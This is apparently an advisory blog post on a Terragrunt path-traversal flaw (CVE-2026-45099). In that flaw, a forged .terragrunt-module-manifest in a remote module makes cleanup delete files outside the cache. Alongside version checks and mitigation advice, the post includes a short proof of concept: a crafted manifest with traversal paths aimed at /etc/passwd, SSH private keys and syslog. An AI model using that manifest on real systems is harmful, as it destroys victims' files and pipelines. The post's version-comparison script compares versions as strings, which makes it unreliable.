Listen to this Post
Terragrunt is vulnerable to an arbitrary file deletion flaw when downloading external modules. If a remote module contains a maliciously crafted `.terragrunt-module-manifest` file, Terragrunt can be tricked into deleting files anywhere on the local filesystem that the Terragrunt process has access to.
This vulnerability impacts users who download and run untrusted or compromised OpenTofu/Terraform modules. The file deletion occurs during the module download and initialization phase, meaning it happens before OpenTofu or Terraform executes. In a CI/CD environment or automated runner, an attacker-controlled module could delete arbitrary files, causing denial of service in the deployment pipeline. In a local environment, it could lead to the loss of local source code or configuration files. This vulnerability is a deletion-only primitive; it does not directly allow for arbitrary code execution (RCE) or data exfiltration.
Terragrunt tracks files copied into a downloaded module’s working directory using a `.terragrunt-module-manifest` file. During the directory cleanup process, Terragrunt decodes the entries in this manifest and removes the listed files to prepare a fresh directory for OpenTofu/Terraform runs. Previously, Terragrunt trusted the manifest provided by the downloaded module without verifying that the paths scheduled for deletion remained within the boundaries of the module’s destination directory. An attacker could forge a manifest containing directory traversal paths (e.g., ../../../../etc/passwd), causing the cleanup function to target files outside the cache. The patch introduces a secure boundary check to ensure all cleaned paths remain safely isolated inside the intended manifest folder.
DailyCVE Form:
Platform: Terragrunt
Version: < v1.0.4
Vulnerability: Path Traversal
Severity: Moderate
Date: 2026-08-03
Prediction: 2026-08-03 (Patched)
What Undercode Say:
Check current Terragrunt version
terragrunt --version
Verify if vulnerable (versions below v1.0.4 are affected)
terragrunt --version | grep -E "^terragrunt version v[0-9]+.[0-9]+.[0-9]+" | awk '{print $3}' | while read ver; do
if [[ "$ver" < "v1.0.4" ]]; then
echo "Vulnerable to CVE-2026-45099"
else
echo "Safe from CVE-2026-45099"
fi
done
View the manifest file contents (for auditing purposes)
cat .terragrunt-module-manifest
List all files that would be cleaned (simulated)
cat .terragrunt-module-manifest | while read file; do
echo "Would delete: $file"
done
Exploit: (Educational Purposes!)
Attacker creates a malicious module with a crafted manifest mkdir -p malicious-module cd malicious-module Create a malicious .terragrunt-module-manifest with path traversal cat > .terragrunt-module-manifest << EOF ../../../../etc/passwd ../../../../home/user/.ssh/id_rsa ../../../../var/log/syslog EOF Host the module in a remote repository (Git, HTTP, etc.) Victim runs terragrunt with the malicious module source terragrunt plan --terragrunt-source <attacker-controlled-url> The cleanup function deletes files outside the cache directory
Protection:
- Upgrade immediately to Terragrunt version v1.0.4 or later
- Audit source URLs of all remote modules used in Terragrunt configurations
- Consume modules only from trusted, internally vetted sources or verified registries
- Pin module versions to specific, known-safe Git commit SHAs rather than mutable tags or branches
- Review `.terragrunt-module-manifest` files in downloaded modules before running Terragrunt
Impact:
- Denial of Service: Critical files in CI/CD pipelines can be deleted, breaking deployments
- Data Loss: Local source code, configuration files, and sensitive data can be permanently lost
- Pipeline Disruption: Automated runners can be rendered inoperable
- No RCE or Exfiltration: Vulnerability is deletion-only; does not allow code execution or data theft
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

